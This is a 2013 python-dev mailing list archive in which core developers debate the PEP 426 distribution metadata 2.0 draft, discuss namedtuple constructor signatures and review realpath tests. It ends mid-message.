	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<20130217184003.0faa841c@pitrou.net>
	<CAG8k2+7bM3QneHyNzDrT9E6ojr+-xjJZSRzODDWizeprSL0ANQ@mail.gmail.com>
	<CAFT4OTG6sn=9dKEVWEWXuThwg95AABN8OvZ9cazwR3RniaXJpg@mail.gmail.com>
	<CADiSq7f-h6af6XR78co4VO+z3k5M4JfeAPcTXrr406m+KGyBKw@mail.gmail.com>
	<CAFT4OTG-mobV16zWsN8p5W0r7_EBwWyQJTa688RJAZ=R_Vo_xA@mail.gmail.com>
	<CADiSq7eB20Ccg5S9UGwLc=b_YCzLJ98qbDm1akNDz814-_nXQw@mail.gmail.com>
Message-ID: <CADiSq7eWb8Mimpgtv9Du_rRpcE2cWQMcQQArk23vXPFswRKw6Q@mail.gmail.com>

On Mon, Feb 18, 2013 at 9:54 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:
>
> On 18 Feb 2013 08:36, "Fred Drake" <fred at fdrake.net> wrote:
>>
>> On Sun, Feb 17, 2013 at 4:21 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
>> > As Daniel pointed out, easy_install and pip also don't follow this rule
>> > yet,
>> > so it won't really have any impact if we never get to metadata 3.0.
>>
>> Actually, my point was that using a separate filename for version 2.0
>> would
>> allow provision of both 1.x and 2.0, so version 2.0 metadata can be
>> deployed
>> as tool support becomes available, instead of having to wait until 1.x
>> tools
>> are replaced.
>>
>> Once tools are following the new rule about version compatibility, there's
>> less worry about this (at least on my part).
>
> None of sdist, wheel or the installation database currently support parallel
> metadata versions. Interpreting 2.0 metadata as 1.1 also won't be
> catastrophically wrong in general, especially if the production tools still
> also ship the legacy dependency and entry points data as separate files. The
> worst thing that is likely to happen is an old tool may fail to show a 2.0
> style description.
>
> However, I *will* update the PEP to state explicitly that tools should emit
> the lowest required metadata version for the fields being published.

I clarified the metadata version handling here:
http://hg.python.org/peps/rev/630c5dd5a123

Rather than "should", I softened the "use the lowest metadata format"
suggestion to a "may". I also pointed out that these new rules will
only apply to a future major version transition, and for this one,
people can just emit the extra files they do today and even older
versions of tools will probably get things fairly right.

Cheers,
Nick.

diff --git a/pep-0426.txt b/pep-0426.txt
--- a/pep-0426.txt
+++ b/pep-0426.txt
@@ -89,9 +89,15 @@

 Version of the file format; "2.0" is the only legal value.

-Automated tools should warn if ``Metadata-Version`` is greater than the
-highest version they support, and must fail if ``Metadata-Version`` has
-a greater major version than the highest version they support.
+Automated tools consuming metadata should warn if ``Metadata-Version`` is
+greater than the highest version they support, and must fail if
+``Metadata-Version`` has a greater major version than the highest
+version they support.
+
+For broader compatibility, automated tools may choose to produce
+distribution metadata using the lowest metadata version that includes
+all of the needed fields.
+

 Example::

@@ -1283,9 +1289,19 @@
 metadata specifications is unlikely to give the expected behaviour.

 Whenever the major version number of the specification is incremented, it
-is expected that deployment will take some time, as metadata consuming tools
-much be updated before other tools can safely start producing the new
-format.
+is expected that deployment will take some time, as either metadata
+consuming tools must be updated before other tools can safely start
+producing the new format, or else the sdist and wheel formats, along with
+the installation database definition, will need to be updated to support
+provision of multiple versions of the metadata in parallel.
+
+Existing tools won't abide by this guideline until they're updated to
+support the new metadata standard, so the new semantics will first take
+effect for a hypothetical 2.x -> 3.0 transition. For the 1.x -> 2.0
+transition, it is recommended that tools continue to produce the
+existing supplementary files (such as ``entry_points.txt``) in addition
+to any equivalents specified using the new features of the standard
+metadata format (including the formal extension mechanism).

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From j.reid at mail.cryst.bbk.ac.uk  Mon Feb 18 15:32:26 2013
From: j.reid at mail.cryst.bbk.ac.uk (John Reid)
Date: Mon, 18 Feb 2013 14:32:26 +0000
Subject: [Python-Dev] Rationale for different signatures of tuple.__new__
	and namedtuple.__new__
Message-ID: <kfte1n$9of$1@ger.gmane.org>

Hi,

I can do

tuple([1,2,3])

but not:

from collections import namedtuple
namedtuple('B', 'x y z')([1,2,3])

I get a TypeError: __new__() takes exactly 4 arguments (2 given)
However I can do:

namedtuple('B', 'x y z')._make([1,2,3])

So namedtuple's _make classmethod looks a lot like tuple's __new__().
What's the rationale for this? Wouldn't it be better to share the same
signature for __new__?

IPython's serialization code depends on a tuple's __new__() having the
signature that tuple has and therefore does not work with namedtuples.
See discussion here:
http://article.gmane.org/gmane.comp.python.general/726849

Thanks,
John.



From hrvoje.niksic at avl.com  Mon Feb 18 16:02:10 2013
From: hrvoje.niksic at avl.com (Hrvoje Niksic)
Date: Mon, 18 Feb 2013 16:02:10 +0100
Subject: [Python-Dev] Rationale for different signatures of
 tuple.__new__ and namedtuple.__new__
In-Reply-To: <kfte1n$9of$1@ger.gmane.org>
References: <kfte1n$9of$1@ger.gmane.org>
Message-ID: <51224272.10701@avl.com>

On 02/18/2013 03:32 PM, John Reid wrote:
> I can do
>
> tuple([1,2,3])
>
> but not:
>
> from collections import namedtuple
> namedtuple('B', 'x y z')([1,2,3])
>
> I get a TypeError: __new__() takes exactly 4 arguments (2 given)
> However I can do:
>
> namedtuple('B', 'x y z')._make([1,2,3])
>
> So namedtuple's _make classmethod looks a lot like tuple's __new__().
> What's the rationale for this? Wouldn't it be better to share the same
> signature for __new__?

Sharing the constructor signature with tuple would break the common case of:

namedtuple('B', 'x y z')(1, 2, 3)


From solipsis at pitrou.net  Mon Feb 18 18:26:09 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Mon, 18 Feb 2013 18:26:09 +0100
Subject: [Python-Dev] cpython (2.7): Fix posixpath.realpath() for
 multiple pardirs (fixes issue #6975).
References: <3Z8h5h0bR3zPl5@mail.python.org>
Message-ID: <20130218182609.4eb5ebf6@pitrou.net>

On Mon, 18 Feb 2013 11:24:40 +0100 (CET)
serhiy.storchaka <python-checkins at python.org> wrote:
>  
> +    def test_realpath_curdir(self):
> +        self.assertEqual(realpath('.'), os.getcwd())
> +        self.assertEqual(realpath('./.'), os.getcwd())
> +        self.assertEqual(realpath('/'.join(['.'] * 100)), os.getcwd())
> +
> +    def test_realpath_pardir(self):
> +        self.assertEqual(realpath('..'), dirname(os.getcwd()))
> +        self.assertEqual(realpath('../..'), dirname(dirname(os.getcwd())))
> +        self.assertEqual(realpath('/'.join(['..'] * 100)), '/')

What if there's a symlink along os.getcwd()?

Regards

Antoine.



From storchaka at gmail.com  Mon Feb 18 18:56:07 2013
From: storchaka at gmail.com (Serhiy Storchaka)
Date: Mon, 18 Feb 2013 19:56:07 +0200
Subject: [Python-Dev] cpython (2.7): Fix posixpath.realpath() for
 multiple pardirs (fixes issue #6975).
In-Reply-To: <20130218182609.4eb5ebf6@pitrou.net>
References: <3Z8h5h0bR3zPl5@mail.python.org>
	<20130218182609.4eb5ebf6@pitrou.net>
Message-ID: <kftpvs$5js$1@ger.gmane.org>

On 18.02.13 19:26, Antoine Pitrou wrote:
> On Mon, 18 Feb 2013 11:24:40 +0100 (CET)
> serhiy.storchaka <python-checkins at python.org> wrote:
>>
>> +    def test_realpath_curdir(self):
>> +        self.assertEqual(realpath('.'), os.getcwd())
>> +        self.assertEqual(realpath('./.'), os.getcwd())
>> +        self.assertEqual(realpath('/'.join(['.'] * 100)), os.getcwd())
>> +
>> +    def test_realpath_pardir(self):
>> +        self.assertEqual(realpath('..'), dirname(os.getcwd()))
>> +        self.assertEqual(realpath('../..'), dirname(dirname(os.getcwd())))
>> +        self.assertEqual(realpath('/'.join(['..'] * 100)), '/')
>
> What if there's a symlink along os.getcwd()?

1. AFAIK, os.getcwd() returns the path with resolved symlinks.
2. realpath() first resolve relative path and then prepends cwd to the 
result.



From solipsis at pitrou.net  Mon Feb 18 19:02:04 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Mon, 18 Feb 2013 19:02:04 +0100
Subject: [Python-Dev] cpython (2.7): Fix posixpath.realpath() for
 multiple pardirs (fixes issue #6975).
References: <3Z8h5h0bR3zPl5@mail.python.org>
	<20130218182609.4eb5ebf6@pitrou.net> <kftpvs$5js$1@ger.gmane.org>
Message-ID: <20130218190204.43f8ef78@pitrou.net>

On Mon, 18 Feb 2013 19:56:07 +0200
Serhiy Storchaka <storchaka at gmail.com> wrote:
> On 18.02.13 19:26, Antoine Pitrou wrote:
> > On Mon, 18 Feb 2013 11:24:40 +0100 (CET)
> > serhiy.storchaka <python-checkins at python.org> wrote:
> >>
> >> +    def test_realpath_curdir(self):
> >> +        self.assertEqual(realpath('.'), os.getcwd())
> >> +        self.assertEqual(realpath('./.'), os.getcwd())
> >> +        self.assertEqual(realpath('/'.join(['.'] * 100)), os.getcwd())
> >> +
> >> +    def test_realpath_pardir(self):
> >> +        self.assertEqual(realpath('..'), dirname(os.getcwd()))
> >> +        self.assertEqual(realpath('../..'), dirname(dirname(os.getcwd())))
> >> +        self.assertEqual(realpath('/'.join(['..'] * 100)), '/')
> >
> > What if there's a symlink along os.getcwd()?
> 
> 1. AFAIK, os.getcwd() returns the path with resolved symlinks.

Indeed, it seems you are right (under POSIX at least):

?The getcwd() function shall place an absolute pathname of the current
working directory in the array pointed to by buf, and return buf. The
pathname shall contain no components that are dot or dot-dot, or are
symbolic links.?

http://pubs.opengroup.org/onlinepubs/9699919799/functions/getcwd.html

Regards

Antoine.



From tjreedy at udel.edu  Mon Feb 18 21:24:06 2013
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 18 Feb 2013 15:24:06 -0500
Subject: [Python-Dev] Rationale for different signatures of
	tuple.__new__ and namedtuple.__new__
In-Reply-To: <kfte1n$9of$1@ger.gmane.org>
References: <kfte1n$9of$1@ger.gmane.org>
Message-ID: <kfu2lh$qnk$1@ger.gmane.org>

Later today you posted "Differences creating tuples and 
collections.namedtuples" on python-list.
http://thread.gmane.org/gmane.comp.python.general/726849

That *is* the proper place to make observations about current Python and 
ask questions about why it is the way it is and how to work around 
features that get in your way. So I will answer there, if I think more 
needs to be said, after reading the multiple current responses. Anyone 
else should do the same.

-- 
Terry Jan Reedy


From mal at egenix.com  Tue Feb 19 10:37:49 2013
From: mal at egenix.com (M.-A. Lemburg)
Date: Tue, 19 Feb 2013 10:37:49 +0100
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
Message-ID: <512347ED.2040905@egenix.com>



On 17.02.2013 11:11, Nick Coghlan wrote:
> FYI
> 
> 
> ---------- Forwarded message ----------
> From: Nick Coghlan <ncoghlan at gmail.com>
> Date: Sun, Feb 17, 2013 at 8:10 PM
> Subject: PEP 426 is now the draft spec for distribution metadata 2.0
> To: "DistUtils mailing list\"\"" <distutils-sig at python.org>
> 
> 
> The latest draft of PEP 426 is up at http://www.python.org/dev/peps/pep-0426/
> 
> Major changes since the last draft:
> 
> 1. Metadata-Version is 2.0 rather than 1.3, and the field now has the
> same major.minor semantics as are defined for wheel versions in PEP
> 427 (i.e. if a tool sees a major version number it doesn't recognise,
> it should give up rather than trying to guess what to do with it,
> while it's OK to process a higher minor version)
> 
> 2. The "Private-Version" field is added, and several examples are
> given showing how to use it in conjunction with translated public
> versions when a project wants to use a version numbering scheme that
> the standard installation tools won't understand.
> 
> 3. The environment markers section more clearly covers the need to
> handle parentheses (this was mentioned in the text, but not the
> pseudo-grammar), and the fields which support those markers have an
> explicit cross-reference to that section of the spec.
> 
> 4. Leading/trailing whitespace and date based versioning are
> explicitly excluded from valid public versions
> 
> 5. Version compatibility statistics are provided for this PEP relative
> to PEP 386 (the analysis script has been added to the PEP repo if
> anyone wants to check my numbers)
> 
> 6. I have reclaimed BDFL-Delegate status (with Guido's approval)
> 
> Since getting wheel support into pip no longer depends on this version
> of the metadata spec, I plan to leave it open for comment for another
> week, and then accept it next weekend if I don't hear any significant
> objections.

Overall, I think the meta data for Python packages is getting
too complicated.

Without a support module in the stdlib implementing the required
parsing, evaluation and formatting mechanisms needed to analyze and
write the format, I'm -1 on adding yet another format version on top
of the stack.

At the moment, discussing yet another version update is mostly academic,
since not even version 1.2 has been picked up by the tools yet:

distutils still writes version 1.1 meta data and doesn't
even understand 1.2 meta data.

The only tool in wide spread use that understands part of the 1.2 data
is setuptools/distribute, but it can only understand the Requires-Dist
field of that version of the spec (only because the 1.1 Requires field was
deprecated) and interprets a Provides-Extra field which isn't
even standard. All other 1.2 fields are ignored.
setuptools/distribute still writes 1.1 meta-data.

I've never seen environment markers being used or supported
in the wild.

I'm not against modernizing the format, but given that version 1.2
has been out for around 8 years now, without much following,
I think we need to make the implementation bit a requirement
before accepting the PEP.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Services directly from the Source  (#1, Feb 19 2013)
>>> Python Projects, Consulting and Support ...   http://www.egenix.com/
>>> mxODBC.Zope/Plone.Database.Adapter ...       http://zope.egenix.com/
>>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________

::::: Try our mxODBC.Connect Python Database Interface for free ! ::::::

   eGenix.com Software, Skills and Services GmbH  Pastor-Loeh-Str.48
    D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg
           Registered at Amtsgericht Duesseldorf: HRB 46611
               http://www.egenix.com/company/contact/

From p.f.moore at gmail.com  Tue Feb 19 11:24:15 2013
From: p.f.moore at gmail.com (Paul Moore)
Date: Tue, 19 Feb 2013 10:24:15 +0000
Subject: [Python-Dev] [Distutils] PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <512347ED.2040905@egenix.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
Message-ID: <CACac1F81E3WBu5Ngg9dhL3zHxeFqS8A7G_b6diOiLLU+wW0g9A@mail.gmail.com>

On Tuesday, 19 February 2013, M.-A. Lemburg wrote:

>
> The only tool in wide spread use that understands part of the 1.2 data
> is setuptools/distribute, but it can only understand the Requires-Dist
> field of that version of the spec (only because the 1.1 Requires field was
> deprecated) and interprets a Provides-Extra field which isn't
> even standard. All other 1.2 fields are ignored.
> setuptools/distribute still writes 1.1 meta-data.
>
> I've never seen environment markers being used or supported
> in the wild.
>
> I'm not against modernizing the format, but given that version 1.2
> has been out for around 8 years now, without much following,
> I think we need to make the implementation bit a requirement
> before accepting the PEP.
>

The wheel project uses metadata 2.0 and environment markers - indeed, the
PEP was written to formalise what wheel was implementing (specifically so
that pip was happy to incorporate support). Standard library support was
hampered by the difficulty of changing Distutils - an issue which may have
gone away now.

I agree that standard library support would be good, either via Distutils
or by incorporating distlib, but I don't think it is essential for
acceptance.

Paul
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130219/51f7bed4/attachment.html>

From ncoghlan at gmail.com  Tue Feb 19 11:28:25 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Tue, 19 Feb 2013 20:28:25 +1000
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <512347ED.2040905@egenix.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
Message-ID: <CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>

On Tue, Feb 19, 2013 at 7:37 PM, M.-A. Lemburg <mal at egenix.com> wrote:
> On 17.02.2013 11:11, Nick Coghlan wrote:
> I'm not against modernizing the format, but given that version 1.2
> has been out for around 8 years now, without much following,
> I think we need to make the implementation bit a requirement
> before accepting the PEP.

It is being implemented in distlib, and the (short!) appendix to the
PEP itself shows how to read the format using the standard library's
email module.

v2.0 is designed to fix many of the issues that prevented the adoption
of v1.2, including tweaks to the standardised version scheme and the
addition of a formal extension mechanism to avoid the ad hoc
extensions that occurred with earlier metadata versions.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From solipsis at pitrou.net  Tue Feb 19 11:36:09 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Tue, 19 Feb 2013 11:36:09 +0100
Subject: [Python-Dev] [Distutils] PEP 426 is now the draft spec for
 distribution metadata 2.0
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CACac1F81E3WBu5Ngg9dhL3zHxeFqS8A7G_b6diOiLLU+wW0g9A@mail.gmail.com>
Message-ID: <20130219113609.15a421fb@pitrou.net>

Le Tue, 19 Feb 2013 10:24:15 +0000,
Paul Moore <p.f.moore at gmail.com> a ?crit :
> On Tuesday, 19 February 2013, M.-A. Lemburg wrote:
> 
> >
> > The only tool in wide spread use that understands part of the 1.2
> > data is setuptools/distribute, but it can only understand the
> > Requires-Dist field of that version of the spec (only because the
> > 1.1 Requires field was deprecated) and interprets a Provides-Extra
> > field which isn't even standard. All other 1.2 fields are ignored.
> > setuptools/distribute still writes 1.1 meta-data.
> >
> > I've never seen environment markers being used or supported
> > in the wild.
> >
> > I'm not against modernizing the format, but given that version 1.2
> > has been out for around 8 years now, without much following,
> > I think we need to make the implementation bit a requirement
> > before accepting the PEP.
> >
> 
> The wheel project uses metadata 2.0 and environment markers - indeed,
> the PEP was written to formalise what wheel was implementing
> (specifically so that pip was happy to incorporate support).

I'm unsure what this means. Does the "wheel project" (I thought wheel
was a format? is it also a project?) reimplement its own wheel of
metadata parsing and generating?

> I agree that standard library support would be good, either via
> Distutils or by incorporating distlib, but I don't think it is
> essential for acceptance.

I think Marc-Andr? is right that the acceptability of the standard
should be judged on the availability of (preferably standard)
implementations. If the standard isn't implemented, then perhaps it
means it's too ambitious / too complex / victim of the second-system
effect.

So I kind of agree with him the PEP shouldn't be accepted until there's
a decent patch pending for the stdlib. That's not a judgement on the
PEP's quality. Just an advice to remain cautious, especially if the
previous metadata version already enjoys a very poor adoption rate.

By the way, pip may be nice, but it's still a third-party tool, and
perhaps not even as widespread as distribute / setuptools.

Regards

Antoine.



From solipsis at pitrou.net  Tue Feb 19 11:41:24 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Tue, 19 Feb 2013 11:41:24 +0100
Subject: [Python-Dev] [Distutils] PEP 426 is now the draft spec for
 distribution metadata 2.0
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CACac1F81E3WBu5Ngg9dhL3zHxeFqS8A7G_b6diOiLLU+wW0g9A@mail.gmail.com>
	<20130219113609.15a421fb@pitrou.net>
Message-ID: <20130219114124.63be1df6@pitrou.net>

Le Tue, 19 Feb 2013 11:36:09 +0100,
Antoine Pitrou <solipsis at pitrou.net> a ?crit :
> 
> I think Marc-Andr? is right that the acceptability of the standard
> should be judged on the availability of (preferably standard)
> implementations. If the standard isn't implemented, then perhaps it
> means it's too ambitious / too complex / victim of the second-system
> effect.
> 
> So I kind of agree with him the PEP shouldn't be accepted until
> there's a decent patch pending for the stdlib. That's not a judgement
> on the PEP's quality. Just an advice to remain cautious, especially
> if the previous metadata version already enjoys a very poor adoption
> rate.
> 
> By the way, pip may be nice, but it's still a third-party tool, and
> perhaps not even as widespread as distribute / setuptools.

Well, Nick kind of proved my wrong in his reply to Marc-Andr? :-)

Regards

Antoine.



From ncoghlan at gmail.com  Tue Feb 19 12:42:20 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Tue, 19 Feb 2013 21:42:20 +1000
Subject: [Python-Dev] [Distutils] PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <20130219113609.15a421fb@pitrou.net>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CACac1F81E3WBu5Ngg9dhL3zHxeFqS8A7G_b6diOiLLU+wW0g9A@mail.gmail.com>
	<20130219113609.15a421fb@pitrou.net>
Message-ID: <CADiSq7cgnrC8Aq81Sry2-YBrMNw7PohofFa=ZG0VUDCTt-2Frg@mail.gmail.com>

On Tue, Feb 19, 2013 at 8:36 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> Le Tue, 19 Feb 2013 10:24:15 +0000,
> Paul Moore <p.f.moore at gmail.com> a ?crit :
>> On Tuesday, 19 February 2013, M.-A. Lemburg wrote:
>>
>> >
>> > The only tool in wide spread use that understands part of the 1.2
>> > data is setuptools/distribute, but it can only understand the
>> > Requires-Dist field of that version of the spec (only because the
>> > 1.1 Requires field was deprecated) and interprets a Provides-Extra
>> > field which isn't even standard. All other 1.2 fields are ignored.
>> > setuptools/distribute still writes 1.1 meta-data.
>> >
>> > I've never seen environment markers being used or supported
>> > in the wild.
>> >
>> > I'm not against modernizing the format, but given that version 1.2
>> > has been out for around 8 years now, without much following,
>> > I think we need to make the implementation bit a requirement
>> > before accepting the PEP.
>> >
>>
>> The wheel project uses metadata 2.0 and environment markers - indeed,
>> the PEP was written to formalise what wheel was implementing
>> (specifically so that pip was happy to incorporate support).
>
> I'm unsure what this means. Does the "wheel project" (I thought wheel
> was a format? is it also a project?) reimplement its own wheel of
> metadata parsing and generating?
>
>> I agree that standard library support would be good, either via
>> Distutils or by incorporating distlib, but I don't think it is
>> essential for acceptance.
>
> I think Marc-Andr? is right that the acceptability of the standard
> should be judged on the availability of (preferably standard)
> implementations. If the standard isn't implemented, then perhaps it
> means it's too ambitious / too complex / victim of the second-system
> effect.

The most complex part of the PEP is still the version ordering, and
that's implemented in the analysis script (initially by Vinay, with
one small tweak by me to fix the regular expression for the new
validity rules). Everything else was either already implemented for
distutils2/distlib, or is a trivial check (like scanning for "a", "b",
"c" or "dev" to identify pre-releases and filter them out if none of
those characters are present in the corresponding version specifier).

Nothing in the PEP is particularly original - almost all of it is
either stolen from other build and packaging systems, or is designed
to provide a *discoverable* alternative to existing
setuptools/distribute/pip practices (specifically, the new extension
mechanism means things like entry points can be defined in the
standard metadata files without python-dev needing to get involved).

Probably the most novel concepts in the PEP are "Obsoleted-By" (so a
project can issue one last release to inform users directly that it is
dead, and there is an alternative available) and the "Private-Version"
field to handle the case where a projects' preferred version scheme
requires translation to match the more restricted format understood by
the installation tools.

Yes, the spec in aggregate is complex, but it's complex because
software distribution and dependency analysis are complex tasks. If
people want to simplify it, they can try to rebut the rationale for
the individual changes that is included at the end of the PEP, but
"it's complex" alone is not an argument.

> So I kind of agree with him the PEP shouldn't be accepted until there's
> a decent patch pending for the stdlib. That's not a judgement on the
> PEP's quality. Just an advice to remain cautious, especially if the
> previous metadata version already enjoys a very poor adoption rate.

There were at least a couple of very good reasons for not adopting metadata 1.2:
- it didn't eliminate the need for ad hoc metadata extension files
like entry_points.txt, so it didn't solve one of the problems it set
out to solve
- it's proposed version ordering scheme was incompatible with the
prevailing usage on PyPI in a couple of key ways (hence the systematic
statistical comparisons in the new PEP - the numbers that are already
there shows that the current version of the standard is highly
compatible even with *hidden* revisions included in the statistics.
I'm currently redoing the analysis to also show public versions only,
which should make the proportions look even better, as many of the
remaining glitches only affected old pre-releases).

The adoption of metadata 1.2 also got caught up in the "distutils must
die" rhetoric that meant the distutils2 project got bogged down in
trying to eliminate setup.py completely, when the only thing that
*really* needs to die is "./setup.py install" (and even that can be
acceptable on a development system, we just want to eliminate the need
to ever run it on a deployment target). That's the key change in
philosophy between this PEP and the previous one: I'm working
backwards from what *installers* need, and creating a specification
that allows build tools, including distutils, to give it to them.

I *don't really care* how those build tools get the info from their
users - setup.py, setup.cfg, bento.info, it doesn't matter to me.

> By the way, pip may be nice, but it's still a third-party tool, and
> perhaps not even as widespread as distribute / setuptools.

The main easy_install feature that pip couldn't previously match was
installing from pre-built binaries (since easy_install had eggs),
which is why the wheel format is so important.

My current plan for Python 3.4 is for pip to be formally endorsed as
the recommended tool that supports installing from an sdist, while the
stdlib will ship a "pydist" tool that can only install from prebuilt
wheel files. This will keep the stdlib tool simple (i.e. no need to
try to find installers on arbitrary target systems), while easily
allowing users to bootstrap a full fledged installer through "pydist
install pip". (This will all play it out in PEPs before 3.4 rolls
around - and there will likely be recruiting and documentation efforts
well in advance of that)

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From a.cavallo at cavallinux.eu  Tue Feb 19 12:57:01 2013
From: a.cavallo at cavallinux.eu (a.cavallo at cavallinux.eu)
Date: Tue, 19 Feb 2013 12:57:01 +0100
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec fordistribution
	metadata 2.0
Message-ID: <5620.1361275021@cavallinux.eu>

> I've never seen environment markers being used or supported
> in the wild.
> 
> I'm not against modernizing the format, but given that version 1.2
> has been out for around 8 years now, without much following,
> I think we need to make the implementation bit a requirement
> before accepting the PEP.

Elephant in the room? Somethin's been around for so long and hasn't got any sort of 
mainstream support is *not* a good candidate for a requirement but maybe it's me
being naive.



 





From mal at egenix.com  Tue Feb 19 14:23:55 2013
From: mal at egenix.com (M.-A. Lemburg)
Date: Tue, 19 Feb 2013 14:23:55 +0100
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
Message-ID: <51237CEB.3020701@egenix.com>

On 19.02.2013 11:28, Nick Coghlan wrote:
> On Tue, Feb 19, 2013 at 7:37 PM, M.-A. Lemburg <mal at egenix.com> wrote:
>> On 17.02.2013 11:11, Nick Coghlan wrote:
>> I'm not against modernizing the format, but given that version 1.2
>> has been out for around 8 years now, without much following,
>> I think we need to make the implementation bit a requirement
>> before accepting the PEP.
> 
> It is being implemented in distlib, and the (short!) appendix to the
> PEP itself shows how to read the format using the standard library's
> email module.

Hmm, what is distlib and where does it live ?

The PEP only shows how to parse the RFC822-style format used by the
metadata. That's not what I was referring to.

If a tools wants to support metadata 2.0, it has to support all
the complicated stuff as well, i.e. handle the requires fields,
the environment markers and version comparisons/sorting.

> v2.0 is designed to fix many of the issues that prevented the adoption
> of v1.2, including tweaks to the standardised version scheme and the
> addition of a formal extension mechanism to avoid the ad hoc
> extensions that occurred with earlier metadata versions.

Some more notes:

* I find it confusing that we now have two version schemes,
  one defined in PEP 426 (hidden in the middle of the document)
  and one in PEP 386. It would be better to amend or replace
  PEP 386, since that's where you look for Python version strings.

* PEP 426 doesn't include any mention of the egg distribution format,
  even though it's the most popular distribution format at the moment.
  It should at least include the location of the metadata file
  in eggs (EGG-INFO/PKG-INFO) and egg installations
  (<eggdir>/EGG-INFO/PKG-INFO).

Not sure whether related or not, I also think it would be a good idea
to make the metadata file available on PyPI for download (could be sent
there when registering the package release). The register command
only posts the data as 1.0 metadata, but includes fields from
metadata 1.1. PyPI itself only displays part of the data.

It would be useful to have the metadata readily available for
inspection on PyPI without having to download one of the
distribution files first.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Services directly from the Source  (#1, Feb 19 2013)
>>> Python Projects, Consulting and Support ...   http://www.egenix.com/
>>> mxODBC.Zope/Plone.Database.Adapter ...       http://zope.egenix.com/
>>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________

::::: Try our mxODBC.Connect Python Database Interface for free ! ::::::

   eGenix.com Software, Skills and Services GmbH  Pastor-Loeh-Str.48
    D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg
           Registered at Amtsgericht Duesseldorf: HRB 46611
               http://www.egenix.com/company/contact/

From dholth at gmail.com  Tue Feb 19 14:29:54 2013
From: dholth at gmail.com (Daniel Holth)
Date: Tue, 19 Feb 2013 08:29:54 -0500
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec fordistribution
 metadata 2.0
In-Reply-To: <5620.1361275021@cavallinux.eu>
References: <5620.1361275021@cavallinux.eu>
Message-ID: <CAG8k2+6uVFJmvuqaHkafxmK90h9DgCt7yNCmN2er3pY5Btb4gA@mail.gmail.com>

On Feb 19, 2013 6:57 AM, <a.cavallo at cavallinux.eu> wrote:

> > I've never seen environment markers being used or supported
> > in the wild.
> >
> > I'm not against modernizing the format, but given that version 1.2
> > has been out for around 8 years now, without much following,
> > I think we need to make the implementation bit a requirement
